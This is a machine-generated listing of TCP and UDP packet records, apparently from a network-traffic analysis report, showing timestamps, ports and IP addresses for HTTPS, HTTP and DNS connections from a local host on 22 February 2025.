Feb 22, 2025 00:51:37.566242933 CET	49724	443	192.168.2.5	188.114.97.3
Feb 22, 2025 00:51:37.566256046 CET	443	49724	188.114.97.3	192.168.2.5
Feb 22, 2025 00:51:37.566267014 CET	49724	443	192.168.2.5	188.114.97.3
Feb 22, 2025 00:51:37.566639900 CET	49727	443	192.168.2.5	188.114.97.3
Feb 22, 2025 00:51:37.566662073 CET	49724	443	192.168.2.5	188.114.97.3
Feb 22, 2025 00:51:37.566680908 CET	443	49727	188.114.97.3	192.168.2.5
Feb 22, 2025 00:51:37.566749096 CET	49727	443	192.168.2.5	188.114.97.3
Feb 22, 2025 00:51:37.566984892 CET	49727	443	192.168.2.5	188.114.97.3
Feb 22, 2025 00:51:37.566997051 CET	443	49727	188.114.97.3	192.168.2.5
Feb 22, 2025 00:51:37.572865009 CET	443	49723	188.114.97.3	192.168.2.5
Feb 22, 2025 00:51:37.573097944 CET	49723	443	192.168.2.5	188.114.97.3
Feb 22, 2025 00:51:37.573116064 CET	443	49723	188.114.97.3	192.168.2.5
Feb 22, 2025 00:51:37.574544907 CET	443	49723	188.114.97.3	192.168.2.5
Feb 22, 2025 00:51:37.574644089 CET	49723	443	192.168.2.5	188.114.97.3
Feb 22, 2025 00:51:37.575146914 CET	49723	443	192.168.2.5	188.114.97.3
Feb 22, 2025 00:51:37.575220108 CET	443	49723	188.114.97.3	192.168.2.5
Feb 22, 2025 00:51:37.575324059 CET	49723	443	192.168.2.5	188.114.97.3
Feb 22, 2025 00:51:37.575333118 CET	443	49723	188.114.97.3	192.168.2.5
Feb 22, 2025 00:51:37.617826939 CET	443	49725	188.114.97.3	192.168.2.5
Feb 22, 2025 00:51:37.618159056 CET	49725	443	192.168.2.5	188.114.97.3
Feb 22, 2025 00:51:37.618175030 CET	443	49725	188.114.97.3	192.168.2.5
Feb 22, 2025 00:51:37.619220018 CET	443	49725	188.114.97.3	192.168.2.5
Feb 22, 2025 00:51:37.619287014 CET	49725	443	192.168.2.5	188.114.97.3
Feb 22, 2025 00:51:37.619802952 CET	49725	443	192.168.2.5	188.114.97.3
Feb 22, 2025 00:51:37.619859934 CET	443	49725	188.114.97.3	192.168.2.5
Feb 22, 2025 00:51:37.620148897 CET	49725	443	192.168.2.5	188.114.97.3
Feb 22, 2025 00:51:37.620156050 CET	443	49725	188.114.97.3	192.168.2.5
Feb 22, 2025 00:51:37.624876022 CET	49723	443	192.168.2.5	188.114.97.3
Feb 22, 2025 00:51:37.665225029 CET	49725	443	192.168.2.5	188.114.97.3
Feb 22, 2025 00:51:37.708312035 CET	443	49723	188.114.97.3	192.168.2.5
Feb 22, 2025 00:51:37.708374977 CET	443	49723	188.114.97.3	192.168.2.5
Feb 22, 2025 00:51:37.708412886 CET	443	49723	188.114.97.3	192.168.2.5
Feb 22, 2025 00:51:37.708447933 CET	443	49723	188.114.97.3	192.168.2.5
Feb 22, 2025 00:51:37.708472013 CET	49723	443	192.168.2.5	188.114.97.3
Feb 22, 2025 00:51:37.708493948 CET	443	49723	188.114.97.3	192.168.2.5
Feb 22, 2025 00:51:37.708519936 CET	49723	443	192.168.2.5	188.114.97.3
Feb 22, 2025 00:51:37.708736897 CET	443	49723	188.114.97.3	192.168.2.5
Feb 22, 2025 00:51:37.708796978 CET	49723	443	192.168.2.5	188.114.97.3
Feb 22, 2025 00:51:37.708803892 CET	443	49723	188.114.97.3	192.168.2.5
Feb 22, 2025 00:51:37.709502935 CET	443	49723	188.114.97.3	192.168.2.5
Feb 22, 2025 00:51:37.709538937 CET	443	49723	188.114.97.3	192.168.2.5
Feb 22, 2025 00:51:37.709570885 CET	49723	443	192.168.2.5	188.114.97.3
Feb 22, 2025 00:51:37.709579945 CET	443	49723	188.114.97.3	192.168.2.5
Feb 22, 2025 00:51:37.709752083 CET	49723	443	192.168.2.5	188.114.97.3
Feb 22, 2025 00:51:37.715862036 CET	443	49723	188.114.97.3	192.168.2.5
Feb 22, 2025 00:51:37.715909958 CET	443	49723	188.114.97.3	192.168.2.5
Feb 22, 2025 00:51:37.716002941 CET	49723	443	192.168.2.5	188.114.97.3
Feb 22, 2025 00:51:37.716021061 CET	443	49723	188.114.97.3	192.168.2.5
Feb 22, 2025 00:51:37.754951000 CET	443	49726	188.114.97.3	192.168.2.5
Feb 22, 2025 00:51:37.755450964 CET	49726	443	192.168.2.5	188.114.97.3
Feb 22, 2025 00:51:37.755497932 CET	443	49726	188.114.97.3	192.168.2.5
Feb 22, 2025 00:51:37.756947994 CET	443	49726	188.114.97.3	192.168.2.5
Feb 22, 2025 00:51:37.757020950 CET	49726	443	192.168.2.5	188.114.97.3
Feb 22, 2025 00:51:37.757460117 CET	49726	443	192.168.2.5	188.114.97.3
Feb 22, 2025 00:51:37.757540941 CET	443	49726	188.114.97.3	192.168.2.5
Feb 22, 2025 00:51:37.757625103 CET	49726	443	192.168.2.5	188.114.97.3
Feb 22, 2025 00:51:37.757639885 CET	443	49726	188.114.97.3	192.168.2.5
Feb 22, 2025 00:51:37.757695913 CET	49726	443	192.168.2.5	188.114.97.3
Feb 22, 2025 00:51:37.757725954 CET	49726	443	192.168.2.5	188.114.97.3
Feb 22, 2025 00:51:37.758173943 CET	49729	443	192.168.2.5	188.114.97.3
Feb 22, 2025 00:51:37.758235931 CET	443	49729	188.114.97.3	192.168.2.5
Feb 22, 2025 00:51:37.758301973 CET	49729	443	192.168.2.5	188.114.97.3
Feb 22, 2025 00:51:37.758630037 CET	49729	443	192.168.2.5	188.114.97.3
Feb 22, 2025 00:51:37.758654118 CET	443	49729	188.114.97.3	192.168.2.5
Feb 22, 2025 00:51:37.763912916 CET	443	49725	188.114.97.3	192.168.2.5
Feb 22, 2025 00:51:37.763964891 CET	443	49725	188.114.97.3	192.168.2.5
Feb 22, 2025 00:51:37.764015913 CET	49725	443	192.168.2.5	188.114.97.3
Feb 22, 2025 00:51:37.764018059 CET	443	49725	188.114.97.3	192.168.2.5
Feb 22, 2025 00:51:37.764072895 CET	49725	443	192.168.2.5	188.114.97.3
Feb 22, 2025 00:51:37.765007973 CET	49725	443	192.168.2.5	188.114.97.3
Feb 22, 2025 00:51:37.765024900 CET	443	49725	188.114.97.3	192.168.2.5
Feb 22, 2025 00:51:37.768687010 CET	49723	443	192.168.2.5	188.114.97.3
Feb 22, 2025 00:51:37.799108028 CET	443	49723	188.114.97.3	192.168.2.5
Feb 22, 2025 00:51:37.799256086 CET	443	49723	188.114.97.3	192.168.2.5
Feb 22, 2025 00:51:37.799307108 CET	443	49723	188.114.97.3	192.168.2.5
Feb 22, 2025 00:51:37.799369097 CET	49723	443	192.168.2.5	188.114.97.3
Feb 22, 2025 00:51:37.799406052 CET	443	49723	188.114.97.3	192.168.2.5
Feb 22, 2025 00:51:37.799586058 CET	49723	443	192.168.2.5	188.114.97.3
Feb 22, 2025 00:51:37.799971104 CET	443	49723	188.114.97.3	192.168.2.5
Feb 22, 2025 00:51:37.800061941 CET	443	49723	188.114.97.3	192.168.2.5
Feb 22, 2025 00:51:37.800115108 CET	443	49723	188.114.97.3	192.168.2.5
Feb 22, 2025 00:51:37.800165892 CET	49723	443	192.168.2.5	188.114.97.3
Feb 22, 2025 00:51:37.800183058 CET	443	49723	188.114.97.3	192.168.2.5
Feb 22, 2025 00:51:37.800225973 CET	443	49723	188.114.97.3	192.168.2.5
Feb 22, 2025 00:51:37.800229073 CET	49723	443	192.168.2.5	188.114.97.3
Feb 22, 2025 00:51:37.801589966 CET	49723	443	192.168.2.5	188.114.97.3
Feb 22, 2025 00:51:37.805267096 CET	49723	443	192.168.2.5	188.114.97.3
Feb 22, 2025 00:51:37.805294037 CET	443	49723	188.114.97.3	192.168.2.5
Feb 22, 2025 00:51:38.050539970 CET	443	49727	188.114.97.3	192.168.2.5
Feb 22, 2025 00:51:38.050928116 CET	49727	443	192.168.2.5	188.114.97.3
Feb 22, 2025 00:51:38.050950050 CET	443	49727	188.114.97.3	192.168.2.5
Feb 22, 2025 00:51:38.051299095 CET	443	49727	188.114.97.3	192.168.2.5
Feb 22, 2025 00:51:38.051889896 CET	49727	443	192.168.2.5	188.114.97.3
Feb 22, 2025 00:51:38.051961899 CET	443	49727	188.114.97.3	192.168.2.5
Feb 22, 2025 00:51:38.052103996 CET	49727	443	192.168.2.5	188.114.97.3
Feb 22, 2025 00:51:38.095338106 CET	443	49727	188.114.97.3	192.168.2.5
Feb 22, 2025 00:51:38.192148924 CET	443	49727	188.114.97.3	192.168.2.5
Feb 22, 2025 00:51:38.192198038 CET	443	49727	188.114.97.3	192.168.2.5
Feb 22, 2025 00:51:38.192235947 CET	443	49727	188.114.97.3	192.168.2.5
Feb 22, 2025 00:51:38.192265987 CET	443	49727	188.114.97.3	192.168.2.5
Feb 22, 2025 00:51:38.192306042 CET	443	49727	188.114.97.3	192.168.2.5
Feb 22, 2025 00:51:38.192334890 CET	443	49727	188.114.97.3	192.168.2.5
Feb 22, 2025 00:51:38.192357063 CET	443	49727	188.114.97.3	192.168.2.5
Feb 22, 2025 00:51:38.192408085 CET	49727	443	192.168.2.5	188.114.97.3
Feb 22, 2025 00:51:38.192408085 CET	49727	443	192.168.2.5	188.114.97.3
Feb 22, 2025 00:51:38.192423105 CET	443	49727	188.114.97.3	192.168.2.5
Feb 22, 2025 00:51:38.192709923 CET	443	49727	188.114.97.3	192.168.2.5
Feb 22, 2025 00:51:38.192734957 CET	443	49727	188.114.97.3	192.168.2.5
Feb 22, 2025 00:51:38.192779064 CET	49727	443	192.168.2.5	188.114.97.3
Feb 22, 2025 00:51:38.192779064 CET	49727	443	192.168.2.5	188.114.97.3
Feb 22, 2025 00:51:38.192786932 CET	443	49727	188.114.97.3	192.168.2.5
Feb 22, 2025 00:51:38.200114965 CET	443	49727	188.114.97.3	192.168.2.5
Feb 22, 2025 00:51:38.202416897 CET	49727	443	192.168.2.5	188.114.97.3
Feb 22, 2025 00:51:38.202426910 CET	443	49727	188.114.97.3	192.168.2.5
Feb 22, 2025 00:51:38.241440058 CET	443	49729	188.114.97.3	192.168.2.5
Feb 22, 2025 00:51:38.242213011 CET	49729	443	192.168.2.5	188.114.97.3
Feb 22, 2025 00:51:38.242238045 CET	443	49729	188.114.97.3	192.168.2.5
Feb 22, 2025 00:51:38.242574930 CET	443	49729	188.114.97.3	192.168.2.5
Feb 22, 2025 00:51:38.243168116 CET	49729	443	192.168.2.5	188.114.97.3
Feb 22, 2025 00:51:38.243217945 CET	443	49729	188.114.97.3	192.168.2.5
Feb 22, 2025 00:51:38.243405104 CET	49729	443	192.168.2.5	188.114.97.3
Feb 22, 2025 00:51:38.254054070 CET	49727	443	192.168.2.5	188.114.97.3
Feb 22, 2025 00:51:38.278825998 CET	443	49727	188.114.97.3	192.168.2.5
Feb 22, 2025 00:51:38.279007912 CET	443	49727	188.114.97.3	192.168.2.5
Feb 22, 2025 00:51:38.279073000 CET	49727	443	192.168.2.5	188.114.97.3
Feb 22, 2025 00:51:38.279089928 CET	443	49727	188.114.97.3	192.168.2.5
Feb 22, 2025 00:51:38.279753923 CET	443	49727	188.114.97.3	192.168.2.5
Feb 22, 2025 00:51:38.279788017 CET	443	49727	188.114.97.3	192.168.2.5
Feb 22, 2025 00:51:38.279809952 CET	49727	443	192.168.2.5	188.114.97.3
Feb 22, 2025 00:51:38.279818058 CET	443	49727	188.114.97.3	192.168.2.5
Feb 22, 2025 00:51:38.279958010 CET	49727	443	192.168.2.5	188.114.97.3
Feb 22, 2025 00:51:38.280189991 CET	443	49727	188.114.97.3	192.168.2.5
Feb 22, 2025 00:51:38.280282974 CET	443	49727	188.114.97.3	192.168.2.5
Feb 22, 2025 00:51:38.281084061 CET	49727	443	192.168.2.5	188.114.97.3
Feb 22, 2025 00:51:38.281090975 CET	443	49727	188.114.97.3	192.168.2.5
Feb 22, 2025 00:51:38.281121969 CET	443	49727	188.114.97.3	192.168.2.5
Feb 22, 2025 00:51:38.281172991 CET	49727	443	192.168.2.5	188.114.97.3
Feb 22, 2025 00:51:38.281178951 CET	443	49727	188.114.97.3	192.168.2.5
Feb 22, 2025 00:51:38.281764030 CET	443	49727	188.114.97.3	192.168.2.5
Feb 22, 2025 00:51:38.281795979 CET	443	49727	188.114.97.3	192.168.2.5
Feb 22, 2025 00:51:38.281888008 CET	49727	443	192.168.2.5	188.114.97.3
Feb 22, 2025 00:51:38.281894922 CET	443	49727	188.114.97.3	192.168.2.5
Feb 22, 2025 00:51:38.282007933 CET	49727	443	192.168.2.5	188.114.97.3
Feb 22, 2025 00:51:38.282460928 CET	443	49727	188.114.97.3	192.168.2.5
Feb 22, 2025 00:51:38.284013987 CET	443	49727	188.114.97.3	192.168.2.5
Feb 22, 2025 00:51:38.284060001 CET	443	49727	188.114.97.3	192.168.2.5
Feb 22, 2025 00:51:38.284085989 CET	443	49727	188.114.97.3	192.168.2.5
Feb 22, 2025 00:51:38.284101963 CET	49727	443	192.168.2.5	188.114.97.3
Feb 22, 2025 00:51:38.284113884 CET	443	49727	188.114.97.3	192.168.2.5
Feb 22, 2025 00:51:38.284161091 CET	49727	443	192.168.2.5	188.114.97.3
Feb 22, 2025 00:51:38.284209013 CET	443	49727	188.114.97.3	192.168.2.5
Feb 22, 2025 00:51:38.284235954 CET	443	49727	188.114.97.3	192.168.2.5
Feb 22, 2025 00:51:38.284260988 CET	49727	443	192.168.2.5	188.114.97.3
Feb 22, 2025 00:51:38.284272909 CET	443	49727	188.114.97.3	192.168.2.5
Feb 22, 2025 00:51:38.284312010 CET	49727	443	192.168.2.5	188.114.97.3
Feb 22, 2025 00:51:38.284703016 CET	443	49727	188.114.97.3	192.168.2.5
Feb 22, 2025 00:51:38.291325092 CET	443	49729	188.114.97.3	192.168.2.5
Feb 22, 2025 00:51:38.346945047 CET	49727	443	192.168.2.5	188.114.97.3
Feb 22, 2025 00:51:38.346952915 CET	443	49727	188.114.97.3	192.168.2.5
Feb 22, 2025 00:51:38.365824938 CET	443	49727	188.114.97.3	192.168.2.5
Feb 22, 2025 00:51:38.365863085 CET	443	49727	188.114.97.3	192.168.2.5
Feb 22, 2025 00:51:38.366169930 CET	49727	443	192.168.2.5	188.114.97.3
Feb 22, 2025 00:51:38.366179943 CET	443	49727	188.114.97.3	192.168.2.5
Feb 22, 2025 00:51:38.367234945 CET	443	49727	188.114.97.3	192.168.2.5
Feb 22, 2025 00:51:38.367243052 CET	443	49727	188.114.97.3	192.168.2.5
Feb 22, 2025 00:51:38.367341995 CET	49727	443	192.168.2.5	188.114.97.3
Feb 22, 2025 00:51:38.367350101 CET	443	49727	188.114.97.3	192.168.2.5
Feb 22, 2025 00:51:38.367620945 CET	49727	443	192.168.2.5	188.114.97.3
Feb 22, 2025 00:51:38.367959023 CET	443	49727	188.114.97.3	192.168.2.5
Feb 22, 2025 00:51:38.368624926 CET	443	49727	188.114.97.3	192.168.2.5
Feb 22, 2025 00:51:38.368671894 CET	49727	443	192.168.2.5	188.114.97.3
Feb 22, 2025 00:51:38.368671894 CET	49727	443	192.168.2.5	188.114.97.3
Feb 22, 2025 00:51:38.368680000 CET	443	49727	188.114.97.3	192.168.2.5
Feb 22, 2025 00:51:38.369456053 CET	443	49727	188.114.97.3	192.168.2.5
Feb 22, 2025 00:51:38.370182037 CET	443	49727	188.114.97.3	192.168.2.5
Feb 22, 2025 00:51:38.370232105 CET	49727	443	192.168.2.5	188.114.97.3
Feb 22, 2025 00:51:38.370232105 CET	49727	443	192.168.2.5	188.114.97.3
Feb 22, 2025 00:51:38.370239019 CET	443	49727	188.114.97.3	192.168.2.5
Feb 22, 2025 00:51:38.370944977 CET	443	49727	188.114.97.3	192.168.2.5
Feb 22, 2025 00:51:38.371356964 CET	49727	443	192.168.2.5	188.114.97.3
Feb 22, 2025 00:51:38.371364117 CET	443	49727	188.114.97.3	192.168.2.5
Feb 22, 2025 00:51:38.371694088 CET	443	49727	188.114.97.3	192.168.2.5
Feb 22, 2025 00:51:38.371767998 CET	49727	443	192.168.2.5	188.114.97.3
Feb 22, 2025 00:51:38.371773958 CET	443	49727	188.114.97.3	192.168.2.5
Feb 22, 2025 00:51:38.373199940 CET	443	49727	188.114.97.3	192.168.2.5
Feb 22, 2025 00:51:38.373364925 CET	49727	443	192.168.2.5	188.114.97.3
Feb 22, 2025 00:51:38.373372078 CET	443	49727	188.114.97.3	192.168.2.5
Feb 22, 2025 00:51:38.373537064 CET	49727	443	192.168.2.5	188.114.97.3
Feb 22, 2025 00:51:38.373883963 CET	443	49727	188.114.97.3	192.168.2.5
Feb 22, 2025 00:51:38.374639034 CET	49727	443	192.168.2.5	188.114.97.3
Feb 22, 2025 00:51:38.374741077 CET	443	49727	188.114.97.3	192.168.2.5
Feb 22, 2025 00:51:38.374845028 CET	49727	443	192.168.2.5	188.114.97.3
Feb 22, 2025 00:51:38.375123978 CET	443	49727	188.114.97.3	192.168.2.5
Feb 22, 2025 00:51:38.375344038 CET	49727	443	192.168.2.5	188.114.97.3
Feb 22, 2025 00:51:38.376373053 CET	443	49727	188.114.97.3	192.168.2.5
Feb 22, 2025 00:51:38.377095938 CET	443	49727	188.114.97.3	192.168.2.5
Feb 22, 2025 00:51:38.377150059 CET	49727	443	192.168.2.5	188.114.97.3
Feb 22, 2025 00:51:38.377151012 CET	49727	443	192.168.2.5	188.114.97.3
Feb 22, 2025 00:51:38.377159119 CET	443	49727	188.114.97.3	192.168.2.5
Feb 22, 2025 00:51:38.394413948 CET	443	49729	188.114.97.3	192.168.2.5
Feb 22, 2025 00:51:38.394460917 CET	443	49729	188.114.97.3	192.168.2.5
Feb 22, 2025 00:51:38.394587040 CET	49729	443	192.168.2.5	188.114.97.3
Feb 22, 2025 00:51:38.394603968 CET	443	49729	188.114.97.3	192.168.2.5
Feb 22, 2025 00:51:38.394689083 CET	49729	443	192.168.2.5	188.114.97.3
Feb 22, 2025 00:51:38.395067930 CET	443	49729	188.114.97.3	192.168.2.5
Feb 22, 2025 00:51:38.395123005 CET	49729	443	192.168.2.5	188.114.97.3
Feb 22, 2025 00:51:38.395438910 CET	443	49729	188.114.97.3	192.168.2.5
Feb 22, 2025 00:51:38.396179914 CET	443	49729	188.114.97.3	192.168.2.5
Feb 22, 2025 00:51:38.396516085 CET	49729	443	192.168.2.5	188.114.97.3
Feb 22, 2025 00:51:38.396522045 CET	443	49729	188.114.97.3	192.168.2.5
Feb 22, 2025 00:51:38.402014971 CET	443	49729	188.114.97.3	192.168.2.5
Feb 22, 2025 00:51:38.402035952 CET	443	49729	188.114.97.3	192.168.2.5
Feb 22, 2025 00:51:38.402127981 CET	49729	443	192.168.2.5	188.114.97.3
Feb 22, 2025 00:51:38.402141094 CET	443	49729	188.114.97.3	192.168.2.5
Feb 22, 2025 00:51:38.402430058 CET	49729	443	192.168.2.5	188.114.97.3
Feb 22, 2025 00:51:38.402432919 CET	443	49729	188.114.97.3	192.168.2.5
Feb 22, 2025 00:51:38.411181927 CET	443	49727	188.114.97.3	192.168.2.5
Feb 22, 2025 00:51:38.411364079 CET	49727	443	192.168.2.5	188.114.97.3
Feb 22, 2025 00:51:38.411372900 CET	443	49727	188.114.97.3	192.168.2.5
Feb 22, 2025 00:51:38.411448002 CET	49727	443	192.168.2.5	188.114.97.3
Feb 22, 2025 00:51:38.452636957 CET	443	49727	188.114.97.3	192.168.2.5
Feb 22, 2025 00:51:38.452887058 CET	49727	443	192.168.2.5	188.114.97.3
Feb 22, 2025 00:51:38.452907085 CET	443	49727	188.114.97.3	192.168.2.5
Feb 22, 2025 00:51:38.453176975 CET	443	49727	188.114.97.3	192.168.2.5
Feb 22, 2025 00:51:38.453228951 CET	49727	443	192.168.2.5	188.114.97.3
Feb 22, 2025 00:51:38.453228951 CET	49727	443	192.168.2.5	188.114.97.3
Feb 22, 2025 00:51:38.453237057 CET	443	49727	188.114.97.3	192.168.2.5
Feb 22, 2025 00:51:38.453615904 CET	443	49727	188.114.97.3	192.168.2.5
Feb 22, 2025 00:51:38.453643084 CET	443	49727	188.114.97.3	192.168.2.5
Feb 22, 2025 00:51:38.453739882 CET	443	49727	188.114.97.3	192.168.2.5
Feb 22, 2025 00:51:38.453788042 CET	49727	443	192.168.2.5	188.114.97.3
Feb 22, 2025 00:51:38.453788042 CET	49727	443	192.168.2.5	188.114.97.3
Feb 22, 2025 00:51:38.453788042 CET	49727	443	192.168.2.5	188.114.97.3
Feb 22, 2025 00:51:38.453795910 CET	443	49727	188.114.97.3	192.168.2.5
Feb 22, 2025 00:51:38.453870058 CET	49727	443	192.168.2.5	188.114.97.3
Feb 22, 2025 00:51:38.454380035 CET	443	49727	188.114.97.3	192.168.2.5
Feb 22, 2025 00:51:38.454561949 CET	443	49727	188.114.97.3	192.168.2.5
Feb 22, 2025 00:51:38.454618931 CET	49727	443	192.168.2.5	188.114.97.3
Feb 22, 2025 00:51:38.454628944 CET	443	49727	188.114.97.3	192.168.2.5
Feb 22, 2025 00:51:38.454638004 CET	49727	443	192.168.2.5	188.114.97.3
Feb 22, 2025 00:51:38.454796076 CET	443	49727	188.114.97.3	192.168.2.5
Feb 22, 2025 00:51:38.454823971 CET	443	49727	188.114.97.3	192.168.2.5
Feb 22, 2025 00:51:38.454885006 CET	49727	443	192.168.2.5	188.114.97.3
Feb 22, 2025 00:51:38.454885006 CET	49727	443	192.168.2.5	188.114.97.3
Feb 22, 2025 00:51:38.454885006 CET	49727	443	192.168.2.5	188.114.97.3
Feb 22, 2025 00:51:38.454891920 CET	443	49727	188.114.97.3	192.168.2.5
Feb 22, 2025 00:51:38.455146074 CET	49727	443	192.168.2.5	188.114.97.3
Feb 22, 2025 00:51:38.455580950 CET	443	49727	188.114.97.3	192.168.2.5
Feb 22, 2025 00:51:38.455616951 CET	443	49727	188.114.97.3	192.168.2.5
Feb 22, 2025 00:51:38.455703020 CET	49727	443	192.168.2.5	188.114.97.3
Feb 22, 2025 00:51:38.455703020 CET	49727	443	192.168.2.5	188.114.97.3
Feb 22, 2025 00:51:38.455709934 CET	443	49727	188.114.97.3	192.168.2.5
Feb 22, 2025 00:51:38.455758095 CET	443	49727	188.114.97.3	192.168.2.5
Feb 22, 2025 00:51:38.455900908 CET	49727	443	192.168.2.5	188.114.97.3
Feb 22, 2025 00:51:38.455900908 CET	49727	443	192.168.2.5	188.114.97.3
Feb 22, 2025 00:51:38.455909014 CET	443	49727	188.114.97.3	192.168.2.5
Feb 22, 2025 00:51:38.456422091 CET	443	49727	188.114.97.3	192.168.2.5
Feb 22, 2025 00:51:38.456518888 CET	443	49727	188.114.97.3	192.168.2.5
Feb 22, 2025 00:51:38.456582069 CET	49727	443	192.168.2.5	188.114.97.3
Feb 22, 2025 00:51:38.456582069 CET	49727	443	192.168.2.5	188.114.97.3
Feb 22, 2025 00:51:38.456588984 CET	443	49727	188.114.97.3	192.168.2.5
Feb 22, 2025 00:51:38.456736088 CET	443	49727	188.114.97.3	192.168.2.5
Feb 22, 2025 00:51:38.456866980 CET	49727	443	192.168.2.5	188.114.97.3
Feb 22, 2025 00:51:38.456873894 CET	443	49727	188.114.97.3	192.168.2.5
Feb 22, 2025 00:51:38.456948996 CET	49729	443	192.168.2.5	188.114.97.3
Feb 22, 2025 00:51:38.457151890 CET	49727	443	192.168.2.5	188.114.97.3
Feb 22, 2025 00:51:38.457310915 CET	443	49727	188.114.97.3	192.168.2.5
Feb 22, 2025 00:51:38.457489014 CET	443	49727	188.114.97.3	192.168.2.5
Feb 22, 2025 00:51:38.457531929 CET	49727	443	192.168.2.5	188.114.97.3
Feb 22, 2025 00:51:38.457532883 CET	49727	443	192.168.2.5	188.114.97.3
Feb 22, 2025 00:51:38.457540035 CET	443	49727	188.114.97.3	192.168.2.5
Feb 22, 2025 00:51:38.457600117 CET	49727	443	192.168.2.5	188.114.97.3
Feb 22, 2025 00:51:38.457613945 CET	443	49727	188.114.97.3	192.168.2.5
Feb 22, 2025 00:51:38.457680941 CET	49727	443	192.168.2.5	188.114.97.3
Feb 22, 2025 00:51:38.458251953 CET	443	49727	188.114.97.3	192.168.2.5
Feb 22, 2025 00:51:38.458436012 CET	443	49727	188.114.97.3	192.168.2.5
Feb 22, 2025 00:51:38.458468914 CET	443	49727	188.114.97.3	192.168.2.5
Feb 22, 2025 00:51:38.458513021 CET	49727	443	192.168.2.5	188.114.97.3
Feb 22, 2025 00:51:38.458513021 CET	49727	443	192.168.2.5	188.114.97.3
Feb 22, 2025 00:51:38.458513021 CET	49727	443	192.168.2.5	188.114.97.3
Feb 22, 2025 00:51:38.458519936 CET	443	49727	188.114.97.3	192.168.2.5
Feb 22, 2025 00:51:38.458556890 CET	49727	443	192.168.2.5	188.114.97.3
Feb 22, 2025 00:51:38.458620071 CET	443	49727	188.114.97.3	192.168.2.5
Feb 22, 2025 00:51:38.458671093 CET	49727	443	192.168.2.5	188.114.97.3
Feb 22, 2025 00:51:38.458681107 CET	443	49727	188.114.97.3	192.168.2.5
Feb 22, 2025 00:51:38.458705902 CET	443	49727	188.114.97.3	192.168.2.5
Feb 22, 2025 00:51:38.458875895 CET	49727	443	192.168.2.5	188.114.97.3
Feb 22, 2025 00:51:38.458875895 CET	49727	443	192.168.2.5	188.114.97.3
Feb 22, 2025 00:51:38.485172987 CET	443	49729	188.114.97.3	192.168.2.5
Feb 22, 2025 00:51:38.485270023 CET	443	49729	188.114.97.3	192.168.2.5
Feb 22, 2025 00:51:38.485362053 CET	49729	443	192.168.2.5	188.114.97.3
Feb 22, 2025 00:51:38.716334105 CET	49727	443	192.168.2.5	188.114.97.3
Feb 22, 2025 00:51:38.917252064 CET	49727	443	192.168.2.5	188.114.97.3
Feb 22, 2025 00:51:38.917279959 CET	443	49727	188.114.97.3	192.168.2.5
Feb 22, 2025 00:51:38.935650110 CET	49729	443	192.168.2.5	188.114.97.3
Feb 22, 2025 00:51:38.935689926 CET	443	49729	188.114.97.3	192.168.2.5
Feb 22, 2025 00:51:44.247488022 CET	443	49711	172.217.18.4	192.168.2.5
Feb 22, 2025 00:51:44.247667074 CET	443	49711	172.217.18.4	192.168.2.5
Feb 22, 2025 00:51:44.247742891 CET	49711	443	192.168.2.5	172.217.18.4
Feb 22, 2025 00:51:45.848906040 CET	49711	443	192.168.2.5	172.217.18.4
Feb 22, 2025 00:51:45.848934889 CET	443	49711	172.217.18.4	192.168.2.5
Feb 22, 2025 00:51:47.766330957 CET	49761	53	192.168.2.5	1.1.1.1
Feb 22, 2025 00:51:47.775446892 CET	53	49761	1.1.1.1	192.168.2.5
Feb 22, 2025 00:51:47.775563002 CET	49761	53	192.168.2.5	1.1.1.1
Feb 22, 2025 00:51:47.775752068 CET	49761	53	192.168.2.5	1.1.1.1
Feb 22, 2025 00:51:47.775846958 CET	49761	53	192.168.2.5	1.1.1.1
Feb 22, 2025 00:51:47.783865929 CET	53	49761	1.1.1.1	192.168.2.5
Feb 22, 2025 00:51:47.783876896 CET	53	49761	1.1.1.1	192.168.2.5
Feb 22, 2025 00:51:48.222819090 CET	53	49761	1.1.1.1	192.168.2.5
Feb 22, 2025 00:51:48.223558903 CET	49761	53	192.168.2.5	1.1.1.1
Feb 22, 2025 00:51:48.229192972 CET	53	49761	1.1.1.1	192.168.2.5
Feb 22, 2025 00:51:48.229341030 CET	49761	53	192.168.2.5	1.1.1.1
Feb 22, 2025 00:52:21.331218958 CET	49714	80	192.168.2.5	188.114.96.3
Feb 22, 2025 00:52:21.336276054 CET	80	49714	188.114.96.3	192.168.2.5
Feb 22, 2025 00:52:21.628055096 CET	49716	80	192.168.2.5	188.114.96.3
Feb 22, 2025 00:52:21.633146048 CET	80	49716	188.114.96.3	192.168.2.5
Feb 22, 2025 00:52:22.003106117 CET	49717	80	192.168.2.5	188.114.96.3
Feb 22, 2025 00:52:22.008271933 CET	80	49717	188.114.96.3	192.168.2.5
Feb 22, 2025 00:52:22.206190109 CET	49713	80	192.168.2.5	188.114.96.3
Feb 22, 2025 00:52:22.211574078 CET	80	49713	188.114.96.3	192.168.2.5
Feb 22, 2025 00:52:33.755764008 CET	50009	443	192.168.2.5	172.217.18.4
Feb 22, 2025 00:52:33.755783081 CET	443	50009	172.217.18.4	192.168.2.5
Feb 22, 2025 00:52:33.755872011 CET	50009	443	192.168.2.5	172.217.18.4
Feb 22, 2025 00:52:33.756313086 CET	50009	443	192.168.2.5	172.217.18.4
Feb 22, 2025 00:52:33.756325960 CET	443	50009	172.217.18.4	192.168.2.5
Feb 22, 2025 00:52:34.410322905 CET	443	50009	172.217.18.4	192.168.2.5
Feb 22, 2025 00:52:34.410674095 CET	50009	443	192.168.2.5	172.217.18.4
Feb 22, 2025 00:52:34.410687923 CET	443	50009	172.217.18.4	192.168.2.5
Feb 22, 2025 00:52:34.410973072 CET	443	50009	172.217.18.4	192.168.2.5
Feb 22, 2025 00:52:34.411468029 CET	50009	443	192.168.2.5	172.217.18.4
Feb 22, 2025 00:52:34.411520958 CET	443	50009	172.217.18.4	192.168.2.5
Feb 22, 2025 00:52:34.456835032 CET	50009	443	192.168.2.5	172.217.18.4
Feb 22, 2025 00:52:44.306118965 CET	443	50009	172.217.18.4	192.168.2.5
Feb 22, 2025 00:52:44.306348085 CET	443	50009	172.217.18.4	192.168.2.5
Feb 22, 2025 00:52:44.307032108 CET	50009	443	192.168.2.5	172.217.18.4
Feb 22, 2025 00:52:45.849853039 CET	50009	443	192.168.2.5	172.217.18.4
Feb 22, 2025 00:52:45.849874020 CET	443	50009	172.217.18.4	192.168.2.5

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Feb 22, 2025 00:51:29.606770992 CET	53	58931	1.1.1.1	192.168.2.5
Feb 22, 2025 00:51:29.617005110 CET	53	50496	1.1.1.1	192.168.2.5
Feb 22, 2025 00:51:30.680896044 CET	53	51191	1.1.1.1	192.168.2.5
